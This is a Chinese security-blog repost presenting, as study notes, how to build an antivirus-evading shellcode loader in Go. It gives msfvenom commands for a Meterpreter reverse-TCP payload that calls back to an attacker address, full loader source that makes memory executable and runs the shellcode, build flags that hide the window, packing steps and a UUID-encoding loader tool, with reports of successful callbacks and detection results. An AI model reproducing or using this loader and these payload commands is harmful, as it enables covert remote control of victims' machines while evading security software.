分享 | Go编写loader加载shellcode免杀学习

admin 2022年5月7日09:00:46评论270 views字数 2881阅读9分36秒阅读模式

文章来源:Reset安全

推荐个团队大佬的号

一 简单实现

(1)msf生成shellcode,选择输出hex格式。

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.133.128 lport=4444 -f hex

分享 | Go编写loader加载shellcode免杀学习

(2)使用Go编写loader代码。

package main
import ( "encoding/hex" "fmt" "os" "syscall" "unsafe")
var procVirtualProtect = syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualProtect") //syscall是调用函数 通过call NewLazyDLL来调取kernel32.dll(及其重要的链接库 几乎所有的木马都会调用这个函数)NewProc是指api NewProc("VirtualProtect")就是获取VirtualProtect这个函数的api//保护内存函数 去掉特征func VirtualProtect(a unsafe.Pointer, b uintptr, c uint32, d unsafe.Pointer) { //转换为同一类型的地址 uintptr,uint32 t, _, _ := procVirtualProtect.Call( uintptr(a), uintptr(b), uintptr(c), uintptr(d)) fmt.Print(t)}func Run(sc []byte) { //定义函数 f := func() {} var old uint32 //一级指针的值为f的地址 //unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&f))) 将&f转换为1级指针的地址 unsafe.Sizeof(uinpter(0))保护的参数为0 unint32(0x40)flNewProtect,内存新的属性类型,设置为PAGE_EXECUTE_READWRITE(0x40)时该内存页为可读可写可执行 VirtualProtect(unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&f))), unsafe.Sizeof(uintptr(0)), uint32(0x40), unsafe.Pointer(&old)) //将shellcode 放入函数中 &sc为shellcode的地址 **(**uintptr)(unsafe.Pointer(&f))就是将shellcode的地址赋值给了&f的地址 **(**uintptr)(unsafe.Pointer(&f)) = *(*uintptr)(unsafe.Pointer(&sc)) var orgshellcode uint32 //shellcode地址 VirtualProtect(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&sc))), uintptr(len(sc)), uint32(0x40), unsafe.Pointer(&orgshellcode)) f() //这里调用f函数 f的地址通过**(**uintptr)(unsafe.Pointer(&f)) = *(*uintptr)(unsafe.Pointer(&sc))被更改为shellcode的地址 然后VirtualProtect(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&sc))),uintptr(len(sc)),uint32(0x40),unsafe.Pointer(&orgshellcode))保护了shellcode的内存地址}func main() { //解密 x, _ := hex.DecodeString(os.Args[1]) Run(x)}

(3)编译exe。

go build -ldflags "-s -w -H=windowsgui" 1.go

分享 | Go编写loader加载shellcode免杀学习

(4)然后使用Safengine进行加壳。

分享 | Go编写loader加载shellcode免杀学习

(5)使用生成好的1_se.exe,加上shellcode,msf监听,主机成功上线。

分享 | Go编写loader加载shellcode免杀学习

(6)本机测试免杀效果。

分享 | Go编写loader加载shellcode免杀学习

二 工具推荐

工具地址:

https://github.com/crisprss/Shellcode_Memory_Loader

基于Golang实现的Shellcode内存加载器,共实现3种内存加载shellcode方式,UUID加载,MAC加载和IPv4加载

结合binject/universal实现Golang的内存加载DLL方式,使用AllocADsMem实现内存申请,以加强免杀效果


在这里演示UUID加载这一方法:

(1)msf生成shellcode,填充到shellcode_2_uuid.py。

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.133.128 lport=4444 -f py

分享 | Go编写loader加载shellcode免杀学习

(2)运行后得到转化的UUID,填充到对应的uuid_2_bin.go中:

分享 | Go编写loader加载shellcode免杀学习

分享 | Go编写loader加载shellcode免杀学习

(3)编译得到对应的可执行文件即可

go build uuid_2_bin.go

分享 | Go编写loader加载shellcode免杀学习

(4)点击exe文件,主机成功上线。

分享 | Go编写loader加载shellcode免杀学习

(5)virustotal查杀结果。

分享 | Go编写loader加载shellcode免杀学习

三 参考文章

https://cloud.tencent.com/developer/article/1901720

【往期推荐】

【内网渗透】内网信息收集命令汇总

【内网渗透】域内信息收集命令汇总

【超详细 | Python】CS免杀-Shellcode Loader原理(python)

【超详细 | Python】CS免杀-分离+混淆免杀思路

【超详细 | 钟馗之眼】ZoomEye-python命令行的使用

【超详细 | 附EXP】Weblogic CVE-2021-2394 RCE漏洞复现

【超详细】CVE-2020-14882 | Weblogic未授权命令执行漏洞复现

【超详细 | 附PoC】CVE-2021-2109 | Weblogic Server远程代码执行漏洞复现

【漏洞分析 | 附EXP】CVE-2021-21985 VMware vCenter Server 远程代码执行漏洞

【CNVD-2021-30167 | 附PoC】用友NC BeanShell远程代码执行漏洞复现

【奇淫巧技】如何成为一个合格的“FOFA”工程师

【超详细】Microsoft Exchange 远程代码执行漏洞复现【CVE-2020-17144】

【超详细】Fastjson1.2.24反序列化漏洞复现

  记一次HW实战笔记 | 艰难的提权爬坑

【漏洞速递+检测脚本 | CVE-2021-49104】泛微E-Office任意文件上传漏洞

免杀基础教学(上卷)

免杀基础教学(下卷)

走过路过的大佬们留个关注再走呗分享 | Go编写loader加载shellcode免杀学习

往期文章有彩蛋哦分享 | Go编写loader加载shellcode免杀学习

分享 | Go编写loader加载shellcode免杀学习

一如既往的学习,一如既往的整理,一如即往的分享分享 | Go编写loader加载shellcode免杀学习

如侵权请私聊公众号删文

推荐阅读↓↓↓

我知道你在看


原文始发于微信公众号(渗透Xiao白帽):分享 | Go编写loader加载shellcode免杀学习

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月7日09:00:46
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   分享 | Go编写loader加载shellcode免杀学习http://cn-sec.com/archives/981565.html

发表评论

匿名网友 填写信息